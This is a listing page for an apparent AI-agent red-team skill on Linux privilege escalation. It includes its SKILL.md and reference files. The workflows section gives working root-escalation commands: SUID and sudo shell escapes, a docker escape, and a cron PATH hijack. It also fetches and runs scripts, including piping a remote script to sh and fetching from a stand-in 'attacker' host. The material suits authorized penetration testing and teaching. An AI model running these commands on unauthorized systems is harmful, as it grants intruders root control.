performing-privilege-escalation-on-linux skill (Anthropic-Cybersecurity-Skills)
- Install
- SKILL.md (verbatim)
- Overview
- When to Use
- Prerequisites
- MITRE ATT&CK Mapping
- Key Escalation Vectors
- SUID/SGID Binaries
- Sudo Misconfigurations
- Kernel Exploits
- Cron Job Abuse
- Capabilities
- Writable Service Files
- Tools and Resources
- Validation Criteria
- Other files in this skill
- references/api-reference.md (verbatim)
- Libraries Used
- CLI Interface
- Core Functions
- enumeratesysteminfo() — Kernel, user, architecture info
- checksudopermissions() — Sudo privilege analysis
- findsuidbinaries() — SUID/SGID binary enumeration
- checkwritablefiles() — Sensitive writable file detection
- checkcronjobs() — Cron job privilege escalation vectors
- checkcapabilities() — Linux capability enumeration
- fullenumeration() — Combined analysis
- GTFOBins SUID Exploitable Binaries (subset)
- Dangerous Sudo Patterns
- Dependencies
- references/standards.md (verbatim)
- MITRE ATT&CK - Privilege Escalation (TA0004)
- Common Kernel CVEs
- CIS Benchmark - Linux
- references/workflows.md (verbatim)
- Workflow 1: Manual Enumeration
- System Information
- SUID/SGID Binaries
- Sudo Configuration
- Cron Jobs
- Capabilities
- Workflow 2: Automated Enumeration
- LinPEAS
- Linux Exploit Suggester
- Workflow 3: Common Exploitation
- SUID Binary Exploitation (GTFOBins)
- Sudo Abuse Examples
- PwnKit (CVE-2021-4034)
- Dirty Pipe (CVE-2022-0847)
- Workflow 4: Advanced Techniques
- Docker Escape (if user is in docker group)
- NFS Root Squashing Bypass
- PATH Hijacking in Cron
What it does. Guides manual enumeration and automated tooling to escalate from a low-privilege Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
| Upstream | mukul975/Anthropic-Cybersecurity-Skills |
| Skill file | skills/performing-privilege-escalation-on-linux/SKILL.md |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-privilege-escalation-on-linux, or copy the skill folder into~/.claude/skills/performing-privilege-escalation-on-linux/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-on-linux/SKILL.md
SKILL.md (verbatim)
name: performing-privilege-escalation-on-linux
description: Guides manual enumeration and automated tooling to escalate from a low-privilege
Linux user to root by exploiting misconfigurations, vulnerable services, kernel exploits,
and weak permissions, mapped to MITRE ATT&CK. Use during authorized red team engagements
or penetration tests once initial low-privilege access on a Linux host is obtained
and root-level access is needed.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- adversary-simulation
- mitre-attack
- exploitation
- post-exploitation
- privilege-escalation
- linux
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Restore Object
- Network Traffic Policy Mapping
- Restore Configuration
- Access Modeling
- Operational Activity Mapping
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
Performing Privilege Escalation on Linux
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Linux privilege escalation involves elevating from a low-privilege user account to root access on a compromised system. Red teams exploit misconfigurations, vulnerable services, kernel exploits, and weak permissions to achieve root. This skill covers both manual enumeration techniques and automated tools for identifying and exploiting privilege escalation vectors.
When to Use
- When conducting security assessments that involve performing privilege escalation on linux
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
MITRE ATT&CK Mapping
- T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid
- T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- T1068 - Exploitation for Privilege Escalation
- T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking
- T1053.003 - Scheduled Task/Job: Cron
- T1543.002 - Create or Modify System Process: Systemd Service
Key Escalation Vectors
SUID/SGID Binaries
- Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null - Check GTFOBins for exploitation methods
- Custom SUID binaries may have vulnerabilities
Sudo Misconfigurations
sudo -lto list allowed commands- Wildcards in sudo rules allow injection
- NOPASSWD entries for dangerous commands
- sudo versions vulnerable to CVE-2021-3156 (Baron Samedit)
Kernel Exploits
- Dirty Cow (CVE-2016-5195) for older kernels
- Dirty Pipe (CVE-2022-0847) for kernel 5.8+
- PwnKit (CVE-2021-4034) for pkexec
- GameOver(lay) (CVE-2023-2640, CVE-2023-32629) for Ubuntu
Cron Job Abuse
- World-writable cron scripts
- PATH hijacking in cron jobs
- Wildcard injection in cron commands
Capabilities
getcap -r / 2>/dev/nullto find binaries with capabilities- cap_setuid allows UID manipulation
- cap_dac_override bypasses file permissions
Writable Service Files
- Systemd unit files with weak permissions
- Init scripts writable by non-root users
- Socket files in accessible locations
Tools and Resources
| Tool | Purpose |
|---|---|
| LinPEAS | Automated privilege escalation enumeration |
| LinEnum | Linux enumeration script |
| linux-exploit-suggester | Kernel exploit matching |
| pspy | Process monitoring without root |
| GTFOBins | SUID/sudo binary exploitation reference |
| PEASS-ng | Privilege escalation awesome scripts suite |
Validation Criteria
- Enumeration performed using automated tools
- Privilege escalation vector identified
- Root access achieved through identified vector
- Evidence documented (screenshots, command output)
- Alternative escalation paths identified
Other files in this skill
- LICENSE
- references/api-reference.md
- references/standards.md
- references/workflows.md
- scripts/agent.py
references/api-reference.md (verbatim)
API Reference — Performing Privilege Escalation on Linux
Libraries Used
- subprocess: Execute system enumeration commands (sudo, find, getcap, crontab)
- os: Check file writability with os.access()
- pathlib: File system navigation
- re: Pattern matching for cron script paths
CLI Interface
python agent.py sysinfo
python agent.py sudo
python agent.py suid
python agent.py writable
python agent.py cron
python agent.py caps
python agent.py full
Core Functions
enumerate_system_info() — Kernel, user, architecture info
check_sudo_permissions() — Sudo privilege analysis
Checks sudo -l output against 30+ GTFOBins-exploitable binaries.
Detects NOPASSWD entries and full sudo access.
find_suid_binaries() — SUID/SGID binary enumeration
Identifies binaries with SUID bit set. Cross-references GTFOBins database.
check_writable_files() — Sensitive writable file detection
Checks: /etc/passwd, /etc/shadow, /etc/sudoers, /etc/crontab, /root, cron dirs.
check_cron_jobs() — Cron job privilege escalation vectors
Identifies writable scripts called from cron jobs (CRITICAL finding).
check_capabilities() — Linux capability enumeration
Flags: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_override, cap_net_raw.
full_enumeration() — Combined analysis
GTFOBins SUID Exploitable Binaries (subset)
vim, find, bash, python, perl, nmap, env, tar, docker, strace, gdb, pkexec
Dangerous Sudo Patterns
| Pattern | Severity | Vector |
|---|---|---|
| (ALL) NOPASSWD: /usr/bin/vim | CRITICAL | Shell escape |
| (ALL : ALL) ALL | CRITICAL | Full root access |
| NOPASSWD: /usr/bin/find | CRITICAL | -exec escalation |
Dependencies
No external packages — Python standard library only. System: find, getcap, sudo, crontab
references/standards.md (verbatim)
Standards and Framework References
MITRE ATT&CK - Privilege Escalation (TA0004)
| Technique ID | Name | Description |
|---|---|---|
| T1548.001 | Setuid and Setgid | Exploit SUID/SGID binaries |
| T1548.003 | Sudo and Sudo Caching | Abuse sudo misconfigurations |
| T1068 | Exploitation for Privilege Escalation | Kernel/service exploits |
| T1574.006 | Dynamic Linker Hijacking | LD_PRELOAD/LD_LIBRARY_PATH abuse |
| T1053.003 | Cron | Abuse scheduled tasks |
| T1543.002 | Systemd Service | Writable service manipulation |
Common Kernel CVEs
| CVE | Name | Kernel Range | CVSS |
|---|---|---|---|
| CVE-2016-5195 | Dirty Cow | < 4.8.3 | 7.8 |
| CVE-2021-4034 | PwnKit (pkexec) | Polkit < 0.120 | 7.8 |
| CVE-2022-0847 | Dirty Pipe | 5.8 - 5.16.10 | 7.8 |
| CVE-2021-3156 | Baron Samedit (sudo) | sudo < 1.9.5p2 | 7.8 |
| CVE-2023-2640 | GameOver(lay) | Ubuntu kernels | 7.8 |
| CVE-2023-0386 | OverlayFS | 5.11 - 6.2 | 7.8 |
CIS Benchmark - Linux
- Ensure permissions on /etc/crontab are configured (600 root:root)
- Ensure SUID/SGID files are reviewed regularly
- Ensure sudo is configured to use a pseudo-TTY
- Ensure no world-writable files exist in system paths
references/workflows.md (verbatim)
Linux Privilege Escalation Workflows
Workflow 1: Manual Enumeration
System Information
# OS and kernel version
uname -a
cat /etc/os-release
cat /proc/version
# Check for writable paths
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
# Network info
ip a
ss -tlnp
netstat -tulpn
SUID/SGID Binaries
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Cross-reference with GTFOBins
# https://gtfobins.github.io/
Sudo Configuration
sudo -l
# Check for:
# - (ALL) NOPASSWD: /usr/bin/vim
# - (ALL) NOPASSWD: /usr/bin/find
# - (ALL) NOPASSWD: /usr/bin/python3
# - Wildcard entries: /usr/bin/rsync *
Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Monitor processes for hidden cron
# Use pspy to see processes running as root
Capabilities
getcap -r / 2>/dev/null
# Interesting capabilities:
# cap_setuid - python3, perl, ruby
# cap_dac_override - any binary
# cap_net_raw - tcpdump
Workflow 2: Automated Enumeration
LinPEAS
# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer and run
wget http://attacker/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a 2>&1 | tee linpeas_output.txt
Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
Workflow 3: Common Exploitation
SUID Binary Exploitation (GTFOBins)
# /usr/bin/find with SUID
find . -exec /bin/sh -p \; -quit
# /usr/bin/python3 with SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# /usr/bin/vim with SUID
vim -c ':!sh'
# /usr/bin/nmap with SUID (old versions)
nmap --interactive
!sh
Sudo Abuse Examples
# sudo vim
sudo vim -c ':!sh'
# sudo find
sudo find / -exec /bin/sh \; -quit
# sudo python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# sudo env with LD_PRELOAD
# If env_keep+=LD_PRELOAD is set:
# Compile shared object that spawns shell
# sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/any_allowed_command
PwnKit (CVE-2021-4034)
# Check if vulnerable
pkexec --version
# Vulnerable: polkit < 0.120
# Multiple public exploits available
# Usage: compile and run - instant root
Dirty Pipe (CVE-2022-0847)
# Check kernel version
uname -r
# Vulnerable: 5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102
# Exploit overwrites read-only files via pipe splice
Workflow 4: Advanced Techniques
Docker Escape (if user is in docker group)
# Check group membership
id
# If in docker group:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
NFS Root Squashing Bypass
# Check NFS exports
showmount -e target
cat /etc/exports
# If no_root_squash is set:
# Mount share, create SUID binary, execute on target
PATH Hijacking in Cron
# If cron job uses relative paths:
# Create malicious binary in writable PATH directory
echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/command_name
chmod +x /tmp/command_name
# Wait for cron to execute, then:
/tmp/rootbash -p
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.